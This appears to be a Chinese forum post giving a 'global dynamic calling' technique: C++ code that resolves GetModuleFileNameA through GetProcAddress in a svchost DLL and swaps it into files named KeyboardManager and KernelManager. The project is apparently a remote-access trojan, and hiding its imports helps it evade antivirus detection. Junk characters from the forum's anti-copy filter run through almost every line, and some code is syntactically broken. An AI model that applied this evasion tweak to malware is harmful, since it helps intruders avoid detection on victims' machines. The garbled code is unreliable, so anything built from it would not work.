返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
) Q3 G0 ]4 t/ k" ?* r! U* ]% Isvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
6 W, B$ Y5 I+ s% u1 J+ |" U----------------------------------------
' e& w( y6 L3 A/ k# e4 Q# H- |$ RDTDY.h:# |* ~# N5 f0 E  l3 W

2 L% E/ F  _; g4 h2 R#if _MSC_VER>1000
5 d8 Q/ ]' V/ d. N/ f#pragma once- T/ T! p- X6 d: K; W% w
#endif //_MSC_VER>1000, q% p' E; c: a4 L; c, V8 ~+ V# Q
#include<windows.h>
4 |5 b8 O! E; T( i6 z# r: d
; P- M5 P& S5 D% V. a  Xtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);/ u0 [& B& k7 O/ b0 H5 q
class DTDY$ N  I, x: ^# @$ \9 F; i0 @
{3 w0 v: U( C3 l. W* v+ m  `8 h
public:3 s$ M$ M% C& ?8 B$ u( ?
DTDY();
6 \# Y/ T$ R( _: v& Tvirtual ~DTDY();
- s, U9 {) h' _, i- Tpublic:
* L0 x$ z) L, G2 d6 n. l' ?3 @static pGetModuleFileNameA MyGetModuleFileName;
+ {  q) T" _2 [static BOOL FunInitiallization();
1 p9 n+ C8 ]  d; F};
+ u" y( K2 t5 K" d* `#endif; C# U% A" e, d6 X/ u+ f8 t6 h0 l
----------------------------------------7 k" I+ q' Y7 G/ |' Z6 v5 o7 F

$ z3 y- G+ y' D4 ]8 v, fDTDY.cpp:
6 V! c$ K. w* c" T4 b1 i
; t  j" g$ l; X0 k) P  i#include "DTDY.h"3 M  v: {* B- P* @0 Z; M; I
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ W. m7 u7 n8 j4 @7 P" @4 RDTDY:TDY(): x* X0 `  i' g3 \
{
# L' `0 M0 j8 N4 a6 e}
+ T7 R  _: l5 A3 qDTDY::~DTDY()
8 a/ {5 n) Q$ L" S$ m/ m" j{
" h( |2 ~1 U: B}
; {4 Q' w% w- I2 I3 gBOOL DTDY::FunInitiallization()
- J+ x3 n9 d5 X% \) D/ T) H{
/ @. I/ ^7 V% Y9 D. Q* c# dHMODULE hModule=LoadLibrary("kernel32.dll");
! }. T& \* C9 uMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");  ?. [% g- |- k  }3 x
if(!MyGetModuleFileName=) return FALSE;
4 |( o# ]1 J% a8 W2 p/ o. u# ~9 {, M; P1 M' H& b, h, F
return TRUE;% x% w- H+ U9 O2 Z0 A
}
% u2 X+ Z2 z9 r* k; x( P$ u----------------------------------------
2 m& d$ C  a1 F; O: T2 Ksvchost.cpp:8 w' j+ l& ?- K% \' r/ d
3 `' b$ N* K7 w9 _% A
#include "DTDY.h"
. b- a0 ^8 S0 v4 T. ^' Y% F
* l! \$ c: }4 f2 v: q1 v: eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
# Q/ x0 k/ t( V+ G7 P1 ?{4 x& c1 h5 T+ A5 a. u+ k
switch(ul_reason_for_call)
2 j* C# i4 g5 Y$ c) s{
' ]* \0 d7 S% }# E4 @1 ?# _1 J1 a3 scase DLL_PROCESS_ATTACH:+ Z* M/ m( K  f: v  m0 }
if(!DTDY::FunInitiallization()) return FALSE;
; t% B8 k% K2 Q+ p' k
' D- H' V2 w7 a5 w$ u" D0 q6 Ubreak;% q( n% ]7 r, H) k
}
# Q# D; u5 q  V' O, {% a1 e  K}
" q% ?* y# \/ L2 l' Y% O8 x
; a1 |# [* ^! f$ Z  x
, v, C& l6 K9 ^' r. S* dGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
2 D0 |8 [$ V; p6 B改写为
- w  I# v# g" Y9 _$ b+ V( C' NDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
1 e* t& J' p7 [1 j! q# M1 @5 ]----------------------------------------0 W' N4 t* T: ]+ y+ D
KernelManager.cpp:
* m. Z- l5 `3 F5 J/ q4 k9 J6 l
9 _. [# U# ~) D) R$ O9 [: k" w#include "../DTDY.h"7 f& f& X0 d/ f2 W4 O
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ E% P6 r& U; \+ M" L4 _
改写为: F2 m' t. r+ o4 O* Z8 `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) n0 o+ }( y5 D* m4 `9 z* M7 i! g# [
----------------------------------------

返回列表